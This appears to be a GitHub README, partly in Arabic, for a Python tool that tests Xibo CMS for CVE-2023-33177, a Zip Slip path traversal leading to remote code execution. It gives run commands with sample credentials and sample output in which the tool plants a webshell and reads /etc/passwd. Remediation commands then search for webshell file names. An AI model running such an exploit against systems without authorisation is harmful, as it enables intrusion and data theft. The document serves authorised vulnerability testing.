kaxm23/-cve-2023-33177-مُختبِر الثغرة الأمنية CVE-2023-33177 في Xibo CMS
أداة اختبار أمني آلي لثغرة CVE-2023-33177 - ثغرة Zip Slip Path Traversal في Xibo CMS والتي تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
هذه الأداة مخصصة لأغراض الاختبار التعليمي والمصرح به فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الاختبار غير المصرح به غير قانوني وغير أخلاقي.
إصدارات Xibo CMS 1.8.0-2.3.16 و3.0.0-3.3.4 معرضة لهجوم تجاوز المسار عبر وظيفة استيراد التخطيط. تختبر هذه الأداة بأمان ما إذا كان مثيل Xibo لديك عرضة للثغرة من خلال محاولة كتابة ملف اختبار غير ضار.
## Clone the repository
git clone [email protected]:kaxm23/-CVE-2023-33177-.git
cd xibo-cve-2023-33177-tester
## Install requirements
pip install -r requirements.txt## -CVE-2023-33177-
هيكل الأوامر الأساسي
python test_cve_2023_33177.py <URL> <username> <password>
## Local development instance
python test_cve_2023_33177.py http://localhost/xibo admin password123
## Remote production with HTTPS
python test_cve_2023_33177.py https://xibo.example.com [email protected] SecurePass2024!
## Custom port and path
python test_cve_2023_33177.py http://192.168.1.100:8080/xibo admin mypassword
## Without trailing slash (script handles it)
python test_cve_2023_33177.py https://example.com/xibo admin pass
[*] Testing Xibo CMS at http://localhost/xibo
[*] CVE-2023-33177 - Zip Slip RCE Test
[+] Created test payload: test_vuln_1703123456.zip
[+] Successfully logged in as admin
[*] Attempting to import malicious layout...
[*] Import response: HTTP 200
[*] Checking for webshell...
[!] VULNERABLE! Webshell accessible at: http://localhost/security_test.php
[+] Successfully read /etc/passwd
[*] Output preview: VULN_TEST_root:x:0:0:root:/root:/bin/bash...
[!] Website IS VULNERABLE to CVE-2023-33177!
[!] Remediation: Update Xibo CMS to version 3.3.5+ or 2.3.17+
[!] Delete the test file: security_test.php
[*] Testing Xibo CMS at http://localhost/xibo
[*] CVE-2023-33177 - Zip Slip RCE Test
[+] Created test payload: test_vuln_1703123456.zip
[+] Successfully logged in as admin
[*] Attempting to import malicious layout...
[*] Import response: HTTP 200
[*] Checking for webshell...
[-] Webshell not found (HTTP 404)
[+] Website appears NOT vulnerable (or path differs)
## Download latest version
wget https://github.com/xibosignage/xibo-cms/releases/latest
## Follow upgrade instructions
## https://xibo.org.uk/manual/en/upgrade.html
## Find recently modified PHP files in web root
find /var/www/html -name "*.php" -mtime -7 -type f
## Check for suspicious files
find /var/www/html -name "shell.php" -o -name "cmd.php" -o -name "backdoor.php"
## Review access logs for unauthorized imports
grep "layout/import" /var/log/apache2/access.log
Change all CMS user passwords
Rotate API keys and tokens
Review and remove unauthorized user accounts
`
📋 Requirements
Python 3.6 or higher
requests library (install via pip)
Valid Xibo CMS credentials (authentication required)
Network access to target Xibo instance
Fork the repository
Create a feature branch: git checkout -b feature/amazing-feature
Commit changes: git commit -m 'Add amazing feature'
Push to branch: git push origin feature/amazing-feature
Open a Pull Request
Contribution Requirements
Code must follow PEP 8 standards
Testing must remain non-destructive
Documentation must be updated
No live testing against unauthorized targets
This project is licensed under the MIT License - see the LICENSE file for details.
⚖️ Legal & Ethical Use
By using this tool, you agree to:
Only test systems you own or have explicit written permission to test
Comply with all local, state, and federal laws
Not use this tool for malicious purposes
Report vulnerabilities responsibly to vendors
Accept full responsibility for your actions
CVE-2023-33177 NVD Entry
Xibo Security Advisories
Zip Slip Vulnerability Details
OWASP Path Traversal Guide
Issues: GitHub Issues
Security Reports: Please disclose responsibly via GitHub private vulnerability reporting
Questions: Open a discussion on GitHub
If this tool helped you, please consider starring the repository!